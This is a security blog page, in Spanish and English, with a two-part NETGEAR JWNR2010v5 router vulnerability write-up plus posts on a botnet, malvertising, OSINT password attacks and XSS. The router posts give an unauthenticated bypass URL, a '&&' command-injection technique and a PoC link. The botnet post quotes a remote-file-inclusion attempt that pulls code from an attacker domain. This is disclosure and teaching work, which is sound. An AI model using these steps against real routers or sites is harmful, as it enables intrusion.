Mostrando entradas con la etiqueta seguridad. Mostrar todas las entradas
Mostrando entradas con la etiqueta seguridad. Mostrar todas las entradas

[Part 2][EN] Hacking NETGEAR JWNR2010v5 Router - Command Injection

[Part 1] Hacking NETGEAR JWNR2010v5 Router - Authentication Bypass
[Part 2] Hacking NETGEAR JWNR2010v5 Router - Command Injection


We already saw how to bypass the authentication so in this post I want to focus in the compromise of the underlying system. In order to do this we have to understend how the router works internally and the management of the administration interface.

 Checking the filesystem we got in the previous post I found that everything is handled by just one cgi called setup.cgi:


# ls -l | grep cgi
lrwxrwxrwx 1 root root     18 Jul 28 07:51 conf -> restore_config.cgi
lrwxrwxrwx 1 root root      9 Jul 28 07:51 htpwd_recovery.cgi -> setup.cgi
-rwxr-xr-x 1 root root  59784 Apr  1 01:34 restore_config.cgi
-rwxr-xr-x 1 root root 613588 Apr  1 01:34 setup.cgi
-rwxr-xr-x 1 root root 277152 Apr  1 01:34 setupwizard.cgi
lrwxrwxrwx 1 root root      9 Jul 28 07:51 upgrade_flash.cgi -> setup.cgi

One of the most common vulnerabilities we can see on SOHO routers are command injection through bad implemented functions, so my priority is to find where a command is executed to against the system and that allows me to control the input. For this I opened setup.cgi in IDA and search for keywords, in this case '/bin':




The ping command caught my attention as it meets both conditions. In this case the webpage that handles this is diag.htm which allows the user to perform different tests to validate the internet connectivity.



By opening diag.htm and reading the source code we find the first interesting thing. Input data is validated client side, so just changing return ping_ck() by return true or modifying the POST request we can send our crafted data.



As you can see above we tried to inject a command appending ';' to the IP address but the command never reaches the server. It's filtering it server side, so let's take a look at the cgi:



As you can see, it searches for a semicolon in the request and if exists the command is never executed...but..what happens here? It only filters the semicolon so if we replace it with '&&' we bypass the check and the command is successfuly executed...or it should...


If we run the command against the system we receive a 403 error but I noticed that setup.cgi gets a GET numeric parameter as follows...setup.cgi?id=0000000 So let's move again to IDA and search for 'id=' string:


First main() search for POST parameters and environment variables, if not found seek for GET parameters. In case it finds 'id' runs strtol() and if succeed extract the content of /tmp/SessionFile and compares against the id parameter where if doesn't match returns the 403 error.

 Finally we know that we need to sign the request with this parameter in order to run the command, so we use the auth bypass vulnerability from the previous post to access the web interface, scrap the source code to extract a valid sessionid before it changes, craft the injection and returns the response.

Here is a script to do this:


And finally we got the expected result in the response after running a 'pwd' command:


Unlike the previous vulnerability this only affects to two models JWNR2000v5 and JWNR2010v5.

In the following link you can find a PoC exploit:

 https://github.com/remot3/exploit-POC/blob/master/NETGEAR_JWNR2010v5.py

[Part 1] Hacking NETGEAR JWNR2010v5 Router - Authentication Bypass
[Part 2] Hacking NETGEAR JWNR2010v5 Router - Command Injection



It has been a long time since my last update so today I want to show you two vulnerabilities found while reversing the firmware from a NETGEAR router. The exploitation of these two vulnerabilities provides the attacker full remote unauthenticated root access to the device if it has WAN administration enabled.

First things first, the content you are about to read is intended as educative content, do not hack random thing out there, don't be stupid. Ok, let's start with this. In this case I analyzed the firmware 1.1.0.31 published on 05/11/2015 for the Netgear JWNR2010v5.

You can download the file here: http://www.downloads.netgear.com/files/GDC/JNR1010V2/ N150_N300_FW_V1.1.0.31_1.0.1.zip

From the binwalk output we know that the arch is MIPS and there is a SquashFS filesystem at 0x160000 which we extract using dd:



DECIMAL         HEX             DESCRIPTION
-------------------------------------------------------------------------------------------------------------------
60352           0xEBC0          U-Boot boot loader reference
[...]
131072          0x20000         uImage header, header size: 64 bytes, header CRC: 0x23F4018D, created: Thu Nov 21 21:18:53 2013, image size: 1266253 bytes, Data Address: 0x80000000, Entry Point: 0x8000C2F0, data CRC: 0xE8A06868, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux Kernel Image"
131136          0x20040         LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4632092 bytes
1441792         0x160000        Squashfs filesystem, little endian, version 4.0, compression:lzma (non-standard type definition), size: 2376782 bytes,  1160 inodes, blocksize: 131072 bytes, created: Thu Nov 21 21:18:35 2013
[...]
4028341         0x3D77B5        End of Zip archive


# dd if=N300.bin bs=1 of=N300.squashfs skip=1441792
2752512+0 records in
2752512+0 records out
2752512 bytes (2.8 MB) copied, 2.73591 s, 1.0 MB/s

# file N300.squashfs
N300.squashfs: Squashfs filesystem, little endian, version 4.0, 2376782 bytes, 1160 inodes, blocksize: 131072 bytes, created: Thu Nov 21 21:18:35 2013

# ./unsquashfs_all.sh N300.squashfs
[...]
created 850 files
created 60 directories
created 144 symlinks
created 106 devices
created 0 fifos
File system sucessfully extracted!


I use to run a script that test every file in the webserver and returns the error code, so I did, and from this preliminary file access analysis I found that an unauthenticated user can access every static file located in the webroot which is interesting but not very useful, anyway reviewing the results of this test I found the tip of the iceberg. Every time I ran the script and reached one file the following files were available without authentication (Error 501 == 200):



501http://192.168.1.1:8080/401_access_denied.htm
501http://192.168.1.1:8080/401_recovery.htm
401http://192.168.1.1:8080/Add_WPS_Client.htm
200http://192.168.1.1:8080/advanced.js
401http://192.168.1.1:8080/adv_index.htm
[...]
401http://192.168.1.1:8080/BAS_basictop.htm
200http://192.168.1.1:8080/bas_bpa.js
200http://192.168.1.1:8080/base.gif
401http://192.168.1.1:8080/BAS_ether_h.htm
401http://192.168.1.1:8080/BAS_ether.htm
[...]
401http://192.168.1.1:8080/BRS_05_networkIssue.html
401http://192.168.1.1:8080/BRS_check_manulConfig.html
401http://192.168.1.1:8080/BRS_hijack_index.htm
401http://192.168.1.1:8080/BRS_hijack_success.htm
401http://192.168.1.1:8080/BRS_index.htm
501http://192.168.1.1:8080/BRS_netgear_success.html [From this point every 401 error becomes a 501]
501http://192.168.1.1:8080/BRS_plzWait.html
501http://192.168.1.1:8080/BRS_RUS_auto_account_input.html
501http://192.168.1.1:8080/BRS_RUS_auto_attention.html
[...]

And even worse...when I ran the script again every file returned a 501 error, so by doing this I disabled the authentication for the router somehow and with this we reached the "IDA Time!". By analyzing the router behaviour we can see that the authentication is handled by the webserver binary, so we import it to IDA and search for our reference string ( BRS_netgear_success.html ) which returns an intermediate function between 'main' and other function that we called 'auth_req_check' because of a .htpasswd reference.




This intermediate function will be called 'url_handle' as we can see a clasic staircase pattern comparing the reveived URL with hardcoded strings using strstr() function and executing different actions. Now we identified and isolated the authentication and url handler functions, lets move to our suspicious string. As you can see in the following image if the url contains the string ( BRS_netgear_success.html ) it moves to an interesting piece of code which sets two variables in the nvram to 0 (need_not_login and start_in_blankstate)




With this in mind it's easy to understand what is this doing, wen we access BRS_netgear_success.html the router redirects to NETGEAR webpage just to check whether we have internet access or not, and allows the user to access the router without credentials just for change the administrative password...but...this should be only allowed the first time the router is connected which is not the case... Finally lets confirm our assumptions checking where the bypass is done. For this, we have to move to the 'auth_req_check' function that we named previously ( offset 00403858 if you want to check) and read from the beginning where the function checks the existence of the .httpasswd file. If yes, we find a reference to start_in_blankstate where it's compared to be different to 1 and if yes the login is bypassed:



With the we confirmed that if start_in_blanckstate is 0 the .htpasswd is disabled and we have free access to the admin panel of the router.

So in short, if we hit this URL http://[IP_ROUTER]:[PORT]/BRS_netgear_success.html the login for every page in the router is temporary disabled.

 I could confirm that the following models are vulnerable to this: NETGEAR_JNR1010v2, NETGEAR_JNR3000, NETGEAR_JWNR2000v5, NETGEAR_JWNR2010v5, NETGEAR_N300, NETGEAR_R3250, NETGEAR_WNR2020, NETGEAR_WNR614, NETGEAR_WNR618

 But this is only the beginning and we want to get unauthenticated root access to the router.

 In the following post I explain a vulnerability that affects just these two models (JWNR2010v5 and JWNR2000v5) that allows us to fully compromise the router and also you can find a PoC to test with your own router.

[Parte 1] Hacking NETGEAR JWNR2010v5 Router - Authentication Bypass

Como ya he dicho en mas de una ocasion uno de los aspectos en los que mas me gusta gastar mi tiempo es en la investigación de sistemas embebidos. Así que como ya hace mas de un año que no actualizo el blog, hoy os traigo el analisis de dos vulnerabilidades que afectan a un gran numero de dispositivos NETGEAR. La explotación de estas dos vulnerabilidades en conjunto llevan al compromiso total del router de manera remota si tienen el acceso WAN activado.

En este caso el firmware a analizar es la versión 1.1.0.31 del modelo JWNR2010v5 publicado el 11/05/2015 y disponible para su descarga en el siguiente enlace http://www.downloads.netgear.com/files/GDC/JNR1010V2/N150_N300_FW_V1.1.0.31_1.0.1.zip

A partir de la lectura de binwalk sabemos que el router tiene una arquitectura MIPS y que el sistema de archivos se encuentra en el offset 0x160000 por lo que lo extraemos usando dd:



DECIMAL         HEX             DESCRIPTION
-------------------------------------------------------------------------------------------------------------------
60352           0xEBC0          U-Boot boot loader reference
[...]
131072          0x20000         uImage header, header size: 64 bytes, header CRC: 0x23F4018D, created: Thu Nov 21 21:18:53 2013, image size: 1266253 bytes, Data Address: 0x80000000, Entry Point: 0x8000C2F0, data CRC: 0xE8A06868, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux Kernel Image"
131136          0x20040         LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4632092 bytes
1441792         0x160000        Squashfs filesystem, little endian, version 4.0, compression:lzma (non-standard type definition), size: 2376782 bytes,  1160 inodes, blocksize: 131072 bytes, created: Thu Nov 21 21:18:35 2013
[...]
4028341         0x3D77B5        End of Zip archive


# dd if=N300.bin bs=1 of=N300.squashfs skip=1441792
2752512+0 records in
2752512+0 records out
2752512 bytes (2.8 MB) copied, 2.73591 s, 1.0 MB/s

# file N300.squashfs
N300.squashfs: Squashfs filesystem, little endian, version 4.0, 2376782 bytes, 1160 inodes, blocksize: 131072 bytes, created: Thu Nov 21 21:18:35 2013

# ./unsquashfs_all.sh N300.squashfs
[...]
created 850 files
created 60 directories
created 144 symlinks
created 106 devices
created 0 fifos
File system sucessfully extracted!


Distribución de malware móvil a través de anuncios insertados

A menudo cuando navegamos por internet cientos de anuncios se nos despliegan para ofrecernos productos que ninguno necesitamos. Hace un par de dias alguien se acercó a mi a preguntarme por que mientras visualizaba contenido a través de la aplicación "Flipboard" en Android se le abría sin él hacer nada una web que le ofrecía descargarse una aplicación pornográfica, en ese momento me picó la curiosidad pero no tenía ninguna muestra del tráfico para saber desde donde se estaba sirviendo esa página. Por casualidades de la vida hoy me tocó a mi ser la víctima a la que se le ofrecía esta aplicación mientras navegaba con mi lector de feeds "Feedly".

Réplica de GPlay servida para Android
Rápidamente preparé Wireshark y repliqué la petición para capturar el tráfico generado y tener un punto por el que empezar. El resultado fue satisfactorio y la página se mostró de nuevo por lo que empecé a analizar la captura en orden inverso, así leyendo la cabecera "Referer" de las peticiones sabía de donde venía el tráfico. No fue dificil descubrir al culpable:

Ahora sabemos que el anuncio insertado en pastebin.com (Página legítima a la que accedí en mi navegacion normal) redirecciona a la página réplica de google play desde donde se distribuye el malware, pero intentando acceder a través del navegador de escritorio la página que se muestra es totalmente diferente y solo despliega una imagen con un enlace a una página legítima.

Pagina mostrada al navegador de escritorio

La explicación es sencilla. El servidor que nos entrega el anuncio detecta la plataforma desde la que se hace la petición leyendo el User-Agent de la request así que si navegamos desde el ordenador se nos sirve un anuncio válido insertando el siguiente código:

Código entregado por la página a un navegador de escritorio
En cambio si engañamos a la página haciéndole creer que estamos navegando a través de un dispositivo Android, la página nos entrega el siguiente código que nos redirecciona a la web maliciosa:

Código entregado por la página utilizando un useragent de Android
Inmediatamente se nos abre la página réplica de Google Play que nos sirve el apk troyanizado y trata de iniciar una descarga, podéis comprobar como la url que abre es la misma a la que nos redirige el anuncio:


El comportamiento en un terminal Android es todavía peor ya que no te solicita permiso para la descarga (Al menos en Firefox) y se almacena el apk en el teléfono automáticamente.

Por último antes de analizar manualmente el comportamiento del APK lo pasamos por VirusTotal para comprobar si ya había sido analizado, dandonos el resultado del analisis:


Como ya ha sido analizado nos ahorramos el trabajo de reversear el APK, el troyano que contiene es detectado por varios antivirus como TrojanSMS.Erop., su comportamiento consiste en enviar SMS desde los terminales infectados a numeros premium.

Así que ya sabeis, cuando naveguéis desde un terminal móvil intentad utilizar siempre un bloqueador de anuncios, ademas si utilizas lectores de feeds como Feedly o Flipboard no tienes esta posibilidad por lo que espero que la lectura de este artículo te ayude a estar alerta ante estos engaños.

Analizando una Botnet y buscando a sus administradores.


Hace unos días un conocido me comentó que alguien había intentado acceder a su web y había tratado inyectar una URL, pero la forma de hacerlo no tenía sentido. Me llamó la atención y le dije que me enviase ejemplos de lo que habían tratado de hacer.

Intento de explotación de un LFI:

www.dominiovictima.com/gratis//appserv/main.php?appserv_root=http://www.dominiocontroladoporelatacante.com/e107_themes/temp/remote/j1.txt

Analizando la URL atacada podemos ver dos partes claramente diferenciadas, la url víctima y la inyección, en esta última vemos otra URL que contiene un archivo .txt:

/appserv/main.php?appserv_root=http://www.dominiocontroladoporelatacante.com/e107_themes/temp/remote/j1.txt

Vamos a ver el contenido de ese sospechoso txt que podeis encontrar aqui:

<?php
var $config = array("server"=>"irc.dominio.net", 
                     "port"=>"6667",   
                     "pass"=>"",  
                     "prefix"=>"BoT",  
                     "maxrand"=>"5",  
                     "chan"=>"#channel",  
                     "chan2"=>"#channel", 
                     "key"=>"senhadocanal",     
                     "modes"=>"+p",            
                     "password"=>"terpmak",          
                     "trigger"=>".",  
                     "hostauth"=>"127.0.0.1" 
                     );
?>
A simple vista lo primero que llama la atención son tres cosas, una cabecera bastante descriptiva de lo que hace el script, unas líneas de configuración y un footer con el nombre de una comunidad.

Hacking indirecto (o como lo quieras llamar)

En este post quiero tratar un tema que normalmente no se controla en las empresas y puede suponer un riesgo grave. Es muy común que la política de contraseñas de una empresa sea como la de BYOD, traete tu contraseña de casa que así te la memorizas y no nos das el coñazo. Pero esto supone un problema y es que según las estadísticas el 75% de las personas utilizan la misma contraseña para todos los servicios.

Supongamos un caso de una empresa con un portal web a través del cual todos los empleados acceden a la intranet y su webmail, un atacante intenta acceder a esta intranet pero no logra ningún acceso directo, dicho atacante antes de plantearse la ingeniería social utiliza la FOCA para extraer nombres de empleados a través de los metadatos de los documentos alojados en el portal web. Una vez con estos nombres extraidos y tras un poco de trabajo de recopilación de información el atacante rastrea un poco el Twitter, Facebook y la información indexada en los buscadores asociada a cada persona pudiendo conocer los hábitos y servicios que ésta utiliza. En este punto el atacante puede buscar una vulnerabilidad en una página usada por uno o varios empleados y hacerse con los credenciales de estos empleados aprovechandose de un incorrecto o nulo cifrado de la página secundaria.

En relación a la anterior otra manera de proceder sería utilizar un dork para rastrear los emails que hay indexados en los buscadores relacionados a un dominio. Por ejemplo podríamos usar intext:"@dominio.com" y nos encontraríamos con una serie de personas que han utilizado su cuenta de correo empresarial para registrarse en diversos servicios en los cuales no está garantizada la seguridad.

Como veis hay varias posibilidades de conseguir unos credenciales básicos para acceder a vuestro objetivo primario sin necesidad de utilizar métodos ruidosos contra él y levantar alarmas antes de tiempo. Los responsables de seguridad de una empresa siempre deben dejar claro que el empleado debe separar sus contraseñas personales de las laborales y nunca registrarse en servicios externos con correos y/o contraseñas  empresariales. Esto no siempre se lleva a cabo y las consecuencias pueden ser muy graves como para no valorarlo.




Nuevo 0-Day descubierto en Adobe Reader 11.0.1



El equipo de FireEye ha reportado una nueva vulnerabilidad en Adobe Reader que está siendo explotada por atacantes para instalar malware saltandose el sandbox de la aplicación. La vulnerabilidad afecta a las versiones 9.5.3, 10.1.5 y 11.0.1 aunque probablemente sea extensible a otras.

Por el momento no han transcendido detalles de la vulnerabilidad dado que Adobe está trabajando en un parche, pero una vez publicado éste se publicarán los detalles técnicos según comentan los investigadores en su blog.

Como recomendación para el usuario es recomendable no utilizar Adobe Reader hasta que salga a la luz una solución y tener mucho cuidado con los PDF de personas desconocidas.

Mundo Hacker en TV de la mano de Discovery Max


Muchos ya conoceréis Mundo Hacker TV, para los que no, es uno de los webcast sobre seguridad informática de habla hispana mas conocidos actualmente. Tras las dos primeras temporadas que han sacado adelante pese a las dificultades, llega la noticia de que dan el salto a la televisión de la mano de Discovery Max.

Desde aquí darle la enhorabuena a todo el equipo y suerte en esta nueva etapa.

Para los que vengan con retraso podéis ver las dos primeras temporadas en el canal de globbtv.com y aquí teneis la preview de lo que será el primer capítulo emitido en televisión donde salen muchas caras conocidas:

http://www.globbtv.com/mundohackertv/108/programa/3265/novedades-mundo-hacker/0


Crack the hash




Como sabéis, casi siempre las constraseñas son hasheadas. Un hash de una cadena de caracteres es una conversión algorítmica de dicha cadena, de tal manera, que desde la restultante (o hash), no se puede volver a la cadena de texto plano base. Por tanto, la única manera que tenemos para extraer el texto plano de un hash es, probar una y otra vez hasta dar con la cadena correcta.

De esta manera, si tenemos una cadena CADENA, que convertimos en un hash HASH, la única manera de hacer la operación contraria es probar el hash de todas las posibles conbinaciones.

Se habla muchas veces de como son las contraseñas ideales, de que cuanto más aleatoria, más caracteres de distinto tipo ($4a^*@eE) mejor, y como la longitud es uno de los factores más importantes, las hace más dificiles de crackear, sin embargo, ahora, me gustaría darle un enfoque más matemático al asunto. Para esto, y para ver las cosas de una manera más práctica sin pararme a repetir una y otra vez el decálogo de "buenas prácticas poniendo contraseñas"; y como no todo depende de nosotros, me gustaría antes situar al lector en el punto tecnológico en el que estamos respecto a la seguridad


¿En que punto estamos?


Atendiendo a la ley de Moore y a los avances que se darán en computación cuantica y a las posibilidades que nuevos materiales como el grafeno dan a la informática, podemos decir que el futuro pinta negro, las contraseñas dejarán de ser útiles cuando la cadena de texto a memorizar tenga que ser suficientemente larga para ser segura, que nadie la pueda recordar.

Así, hace años, cuando internet era algo que estaba empezando, las contraseñas de unos pocos dígitos eran algo normal, y bastante seguro. Los procesadores tardaban años en iterar 15 caracteres. Nadie con un ordenador domestico podía permitirse hacer ese cálculo, de hecho, si la mayoría intentáis hacerlo en vuestras casas, para caracteres alfanuméricos, probablemente tardéis un par de días utilizando la potencia de un procesador decente.

Pues bien, los procesadores se han pasado de moda. Hace unos años, la discusión en password cracking era CPU vs GPU, hoy, ya hemos resuelto esa cuestión, la GPU ha ganado de largo. Para crackear contraseñas, ya no se mandan las operaciones matemáticas y los algoritmos a los 4 núcleos de un procesador, si no a los miles de hilos de nuestras tarjetas gráficas. Sin ir más lejos, en ordenadores destinados a hacer grandes cálculos, se están dejando de utilizar procesadores, para utilizar gráficas con tecnología CUDA (procesamiento paralelo). Esto aplicado a la seguridad de las contraseñas, permite romper contraseñas a mucha más velocidad que en el pasado.

El rastreo de usuarios y la recopilación de información en segundo plano

Tracking de usuarios
El espía de tu bolsillo

Hace unos días Del Harvey reveló en la SMX Social Media Marketing 2012 que Twitter rastrea las costumbres de navegación de sus usuarios para así crear un perfil del usuario y poder proporcionar recomendaciones personalizadas de "A quien seguir", si bien esto no es nada nuevo ya que LinkedIn, Facebook, Youtube y muchas otras empresas lo hacen, la motivación para escribir esta entrada viene de otro servicio que se ha abierto al público - con acceso a la beta - hace poco de la mano de Google, el juego de realidad aumentada "Ingress".


Ingress es a grandes rasgos un juego "novedoso" para smartphones que nos invita a pasear por las calles hackeando puntos de energía y apoderarnos de ellos formando parte de uno de los dos bandos posibles, para ello se vale de la ayuda de nuestro GPS, acelerómetros y cámara para crear una experiencia de usuario atrayente. Si nos paramos a leer un poco los requisitos del juego solo hay que sumar 2+2 para darse cuenta de que Google no crea juegos por amor al arte:



Al mas puro estilo de Stargate Universe - cuando Eli resuelve un enigma para el gobierno a traves de un juego -, Google parece estar usando un videojuego para recopilar información de los usuarios y añadirla presumiblemente a Google Maps. El problema viene cuando el 90% de los usuarios no se dan cuenta de toda la información que regalan libremente y sin consentimiento a un tercero, ya sea sus hábitos de navegación, su posición, sus gustos o cualquier otra cosa que se os ocurra.

Un frase que me gusta repetir es "Todo lo que compartas será público algún dia", así que mejor estar enterado de a donde va toda tu información. 

Para evitar el rastreo por parte de las compañías existen extensiones como "Do Not Track" que podéis descargar para Firefox o Chrome o activar la opción de algunos navegadores. Para casos como el de Ingress lo mejor es estar enterado de las condiciones de servicio y de a donde va a parar la información.

Capture The Flag 2013

Es hora de preparar las armas, equipar nuestros entornos y agilizar nuestra imaginación para lanzarnos a la aventura en esta lucha internacional.

CTF trata de simular entornos reales donde los participantes deberán poner a prueba sus habilidades tanto ofensivas como defensivas. Cada participante debe registrarse en la plataforma de CTF365 y formar equipo con otros participantes para defender su fortaleza que se tratará de un servidor propio con unos requisitos mínimos. Las armas a usar serán a libre elección de los participantes, nmap, Nessus, Backtrack, Metasploit o lo que se desee. Según los organizadores comentan en su blog este wargame es el WoW de los hackers e intentarán aplicar el mínimo de reglas posibles para simular el mejor entorno de ciberguerra.

Las normas son simples:

  1. El combatiente: Un usuario registrado en la plataforma.El combatiente debe declarar por que país está luchando, solo podrá formar parte de un equipo a la vez pero podrá unirse a otros siempre que abandone el anterior.
  2. El equipo: Los equipos tendrán un numero minimo de 5 combatientes y un máximo de 10, que dará la flexibilidad suficiente para el ataque y la defensa. Cada equipo empezará con una fortaleza - servidor -.
  3. Alianzas: Los equipos pueden realizar alianzas entre sí, si un equipo consigue la victoria sobre otra fortaleza los puntos van para el equipo al que pertenece, a no ser que la alianza haya sido declarada en la plataforma CTF en cuyo caso los puntos irían para los equipos pertenecientes a la alianza.
  4. La fortaleza - tu servidor - : La fortaleza es el servidor que los combatientes deberán defender. Los requisitos mínimos son:
    1. Cada fortaleza debe estar corriendo los servicios mayoritarios como SMTP, IMAP, FTP, etc. -Habrá una lista mas detallada-
    2. Deberá instalarse al menos un CMS con plugins específicos.
    3. La fortalezá deberá tener al menos dos navegadores instalados - punto a aclarar en un futuro -
    4. Deberá correr al menos 3 aplicaciones web.
    5. Deberá tener al menos dos bases de datos corriendo.
Durante el juego habrá diferentes campañas y premios que serán definidos a la hora de definir cada una. Si estáis interesados en participar podéis registraros desde la web oficial:



Y para seguir las noticias seguid el blog de la plataforma:


Si estas interesado en participar háznoslo saber en los comentarios, quedan 42 días.
¡Un saludo!

PD: Si queréis uniros a través de nuestro enlace referido podéis hacer click aquí, con ello conseguiremos acceso a la beta para contar el funcionamiento de primera mano.





¿Se está librando una ciberguerra?

Si bien hasta hace unos pocos años era bastante escéptico cuando se leia algun artículo en la prensa sobre como la ciber-guerra era un concepto real y que estaba ocurriendo más allá de los sistemas telemáticos standares que supongo utilizaran todos los ejércitos; hoy en día tengo bastante claro que esto está pasando.

Tal vez tanto la opinión pública como los políticos, o incluso los militares, tienden a subestimar las amenazas que no vemos y que son muy técnicas. Todo el mundo entiende y siente una bomba, o un tanque enemigo como una amenaza, sin embargo, poca gente ve en una caja de control scada un potencial agujero en las murallas de la defensa de un país, o en un pendrive en el suelo con fotos de gatitos una amenaza de estado. 




De la misma manera, también es bastante más dificil justificar el gasto público en construir un programa que poca gente pueda ver o manejar, y nadie pueda tocar, y que además, puede quedar obsoleto en cuestión de horas. 

Así, aunque yo no sea especialmente partidario de las soluciones militares a problemas políticos, si que creo que proteger nuestro país, y más concretamente nuestras empresas e infraestructura crítica frente a ataques informáticos ha de ser una prioridad de la defensa.

Tenemos que diferenciar varios tipos de amenazas electrónicas:
  • Ciber-crimen: Robo de información bancaria, espionaje industrial, spam, usurpación de identidad, etc.
  • Ciber-guerra: Virus para alterar sistemas de enriquecimiento de uranio, intervención de comunicaciones, ataques dirigidos contra centrales eléctricas o oleoductos, etc.
  • Ciber-activismo: DDoS, robo de información, ataques de alto impacto mediático, pero técnicamente bastante simples.
Si bien la tercera de estas amenazas la podemos considerar de gran fuerza mediática, el impacto suele ser bastante bajo. El problema radica en las dos primeras, y en la peligrosa mezcla que están haciendo algunos países como China. De manera oficial no está reconocido, pero hoy en día es bastante claro que China cuenta con un ejército de ciber delincuentes en nómina para lanzar ataques precisos contra empresas de todo el mundo (RSA o Google son por ejemplo dos de los casos más sonados).


Y, os preguntaréis ¿Qué es lo que hace falta para tener estas capacidades militares o paramilitares? Dinero. Cuando se habla de ciber ejércitos hay que diferenciar a dos partes: por un lado están los que diseñan los sistemas, crean las armas, y por otro lado están los que las utilizan. De la misma manera que un usuario puede saber hacer un escaneo de puertos, pero puede no conocer como están programados los sockets del programa.

Como con todo, fabricar buenas armas informáticas cuesta bastante dinero. Hay que comprar vulnerabilidades que explotar para que las armas sean efectivas; en caso de defensa, hay que invertir en soluciones y comprar vulnerabilidades de nuestro software antes de que otra gente lo haga.

En conjunto, tanto la ciber defensa, como la ciber guerra, es algo muy caro, y que mueve bastante dinero a lo largo y ancho del mundo. Hay que invertir en seguridad, hay que simular ataques, y hay que ver como nos afectaría, esa es la única manera efectiva que tenemos de poder desarrollar buenas defensas.

Aparecen indicios de un malware que roba imágenes en los equipos infectados

Niranjan Jayanand investigador de McAfee ha publicado recientemente en su blog el descubrimiento de un malware que roba archivos .jpg, .jpge y .dmp - volcados de memoria de windows - para despues subirlos a un servidor FTP remoto cuyos credenciales se encuentran en el código fuente del troyano.

Desde el día 5 de Noviembre el servidor FTP de los atacantes se encuentra fuera de servicio y sospechan que sea debido a una mejora del troyano para ataques mas sofisticados en un futuro próximo. Por el momento el comportamiento consiste en buscar imágenes en los directorios C, D y E de la víctima y ejecutar comandos silenciosamente para enviar los resultados obtenidos al servidor remoto.

roba imágenes


Los datos recogidos pueden ser usados para extorsionar a personas o pedir un rescate, ademas según informan el interés por los archivos .dmg puede ser signo de que a los atacantes les interese buscar vulnerabilidades en los sistemas infectados ya que éstos recogen información de errores en las aplicaciones.

Múltiples vulnerabilidades descubiertas en Sophos

Vulnerabilidades Sophos
Tavis Ormandy ha publicado un paper con los resultados de su análisis de antivirus Sophos titulado "Practical Attacks against Sophos Antivirus". En él se analizan varios casos de ataques prácticos contra el antivirus que pueden comprometer la integridad del sistema que lo alberga. Tavis afirma que Sophos le ha comunicado que publicarán un aviso para sus usuarios en un plazo corto de tiempo, pero no le han permitido revisar el contenido, por lo que recomienda la lectura de su investigación si eres un usuario afectado.

Las vulnerabilidades encontradas son las siguientes:

  1. Ejecución de codigo al analizar un binario malintencionado en formato PDF, RAR, VB o CAB.

  2. Bypass del ASLR de Windows a traves de una falla en el sistema de protección de Buffer Overlflows.

  3. Ejecución de código a traves de una falla en el módulo LSP debido a la la carga de éste desde un directorio de integridad baja y con permisos de escritura.

  4. XSS en la pagina de protección contra contenido malicioso.

  5. Escalada de privilegios debido a un problema en la gestión de éstos por parte de Sophos.

Si administras un sistema con Sophos desplegado se recomienda la lectura del estudio para comprender los riesgos y seguir los checklists de mitigación incluidos en él.

Como lectura añadida os recomiendo leer la conclusión que Tavis dejó escrita en exploit-db.com : Conclusión Tavis Ormandy

Mas información:

A Critical Analysis of Sophos Antivirus
Applied attacks against Sophos Antivirus

Tutorial básico Cross Site Scripting

Tutorial Cross Site Scripting
Hoy nos toca tratar una de las vulnerabilidades mas habituales en el desarrollo web actualmente, el XSS. Esta falla de seguridad se debe a un incorrecto filtrado de los valores que un usuario puede introducir en una web dando así pie a la ejecución de código de scripting en la web atacada.
A través de este método un atacante puede robar los credenciales de un usuario o administrador, modificar contenido en la web, eliminar restricciones impuestas desde el lado del cliente y muchas otras cosas.

Existen dos tipos de XSS:

  • Indirecto o reflejado: Funciona modificando valores que una web pasa entre página. Ocurre cuando se envía un mensaje o ruta en una URL, una cookie o en la cabecera HTTP.
  • Directo o persistente: Consiste en almacenar código en la web para que se ejecute una vez que la web se carga, por ejemplo inyectando en un libro de visitas de una web en un blog o en una sección de comentarios.
Este fallo está muy extendido debido a que muchos dessarrolladores no son conscientes de que los filtros -si los hay- se pueden evadir fácilmente con algunas técnicas.

Los menores, la privacidad y el día de mañana

Menores privacidad y futuro
A día de hoy es muy común ver a diario fotos y vídeos de menores comportándose de forma graciosa en la red que son compartidas por adultos, esto sumado a la cantidad de webs parásitas que existen puede convertirse en una auténtica pesadilla para padres y menores con el paso del tiempo.

Quiero plantear un caso hipotético para desarrollar el tema. Pongamos que unos padres comparten contenido aparentemente inofensivo en la red relacionado con su hijo pequeño. Pasan los años y el niño se convierte en una persona con un cargo importante, digamos un ejecutivo en una gran empresa, alguien con la intención de dañar la imagen de esa persona logra encontrar las imágenes o vídeos que años atrás unos adultos incautos compartieron. La persona malintencionada puede -dependiendo del caso e información encontrada- desde extorsionar a la persona, difundir dicho contenido en el lugar idóneo o iniciar una campaña de desprestigio para lograr un beneficio.

Lo que años atrás fue una acción inocente, en un futuro se puede convertir en un grave problema. Con esto quiero hacer ver que la idea de web social conlleva unos riesgos potenciales que mucha gente actualmente no ve y que estoy seguro empezaremos a ver en unos años cuando la generación que se ha criado en el internet social comience a posicionarse en cargos de poder. Por esto es recomendable que todo padre o tutor legal de un menor controle lo que comparte en la red sobre su hijo y tenga muy en cuenta los riesgos a los que se expone así como tener precaución de lo que un menor sube a la red por sí mismo.

Una solución simple se limitaría a no compartir ningún contenido relacionado a menores en la red y cuidar lo que tus hijos comparten, pero a día de hoy esto es muy difícil para la mayoría de la gente por lo que el mejor consejo es usar el sentido común y tener siempre presente la máxima de que todo lo compartido en la red va a ser público tarde o temprano bien sea por culpa del usuario debido a una mala configuración, a un robo de credenciales o a un fallo/intrusión en el servidor.

Cada avance tecnológico viene de la mano de una serie de normas con las que nos debemos educar para no exponernos a situaciones indeseadas, así como la mayor parte de usuarios de internet tienen cada vez mas capacidad para identificar algunas amenazas, también debemos educarnos para analizar previamente los riesgos potenciales que pueden suponer publicar nuestra información en la red ya que cada vez mas, la privacidad se está convirtiendo en un asunto a tener en cuenta.

Un blogger búlgaro compra un millón de cuentas de Facebook por 5 dólares

Fuente: Gizmodo

Esta semana la polémica viene de la mano de Bogomil Shopov, un blogger búlgaro defensor de los derechos de los internautas. Al parecer nuestro amigo Bogomil ha comprado un millón de cuentas de Facebook por tan solo 5$ a un usuario de gigbucks que afirma haber logrado los datos de aplicaciones de terceros, lo que significa que dichas aplicaciones han tenido acceso a todos los credenciales de los usuarios.

